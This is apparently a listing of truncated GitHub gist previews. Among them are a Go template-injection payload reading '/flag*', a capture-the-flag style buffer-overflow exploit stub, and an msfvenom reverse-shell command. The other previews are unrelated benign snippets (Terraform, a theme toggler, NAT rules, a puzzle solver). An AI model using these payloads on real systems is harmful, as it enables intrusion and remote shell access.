This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<body> | |
{{.FetchServerInfo "cat /flag*"}} | |
</body> | |
</html> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket | |
HOST, PORT = '127.0.0.1', 8888 | |
def build(size, offset): | |
junk = b'A' * offset | |
eip = b'\xe1\x52\xd6\x68' # 0x68d652e1 | |
# msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.28 LPORT=80 -b '\x00' -f py |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
variable "provider_profile" { type = string } | |
variable "provider_region" { type = string } | |
variable "instance_type" { type = string } | |
variable "ssh_source_ips" { type = list(string) } | |
variable "ami_id" { type = string } | |
variable "key" { type = tuple([string, string]) } | |
variable "dns_name" { type = string } | |
variable "zone_id" { type = string } |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
variable "region" { type = string } | |
variable "ssh_source_ips" { type = list(string) } # list of CIDR blocks | |
variable "ami_owner_id" { type = string } | |
variable "key" { type = tuple([string, string]) } # key_name and path to local private key | |
provider "aws" { | |
profile = "terraform" | |
region = var.region | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import fmrest | |
from fmrest.exceptions import FileMakerError | |
fms = fmrest.Server('https://<some host>', | |
user='admin', | |
password='admin', | |
database='Planets', | |
layout='Planets', | |
) | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def solve_captcha(sequence): | |
return sum( | |
int(num) for i, num in enumerate(sequence) if num == sequence[(i+1) % len(sequence)] | |
) | |
assert solve_captcha('1122') == 3 | |
assert solve_captcha('1111') == 4 | |
assert solve_captcha('1234') == 0 | |
assert solve_captcha('91212129') == 9 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import json | |
path = '/Users/your_user/Library/Application Support/Code/User/settings.json' | |
theme_day = 'Default Light+' | |
theme_night = 'Default Dark+' | |
with open(path, 'r') as settings_file: | |
data = json.load(settings_file) | |
data['workbench.colorTheme'] = theme_day if data['workbench.colorTheme'] == theme_night else theme_night |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
sysctl -w net.inet.ip.forwarding=1 | |
sysctl -w net.inet.ip.fw.enable=1 | |
pfctl -f ./nat-rules -e | |
# nat-rules could look like this: | |
# nat on utun0 from en0:network to any -> (utun0) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<keys name="Schedules"> | |
<keys name="1"> | |
<key name="Index" type="integer">1</key> | |
<key name="Name" type="string">backup_daily_1am</key> | |
<key name="LastRun" type="string">2015-11-27 01:00:00</key> | |
<key name="NextRun" type="string">2015-11-28 01:00:00</key> | |
<key name="CreationDate" type="string">2015-05-22 15:06:00</key> | |
<key name="StartDate" type="string">2015-05-22 01:00:00</key> | |
<key name="EndDate" type="string">15:06:00</key> | |
<key name="EnableEndDate" type="integer">0</key> |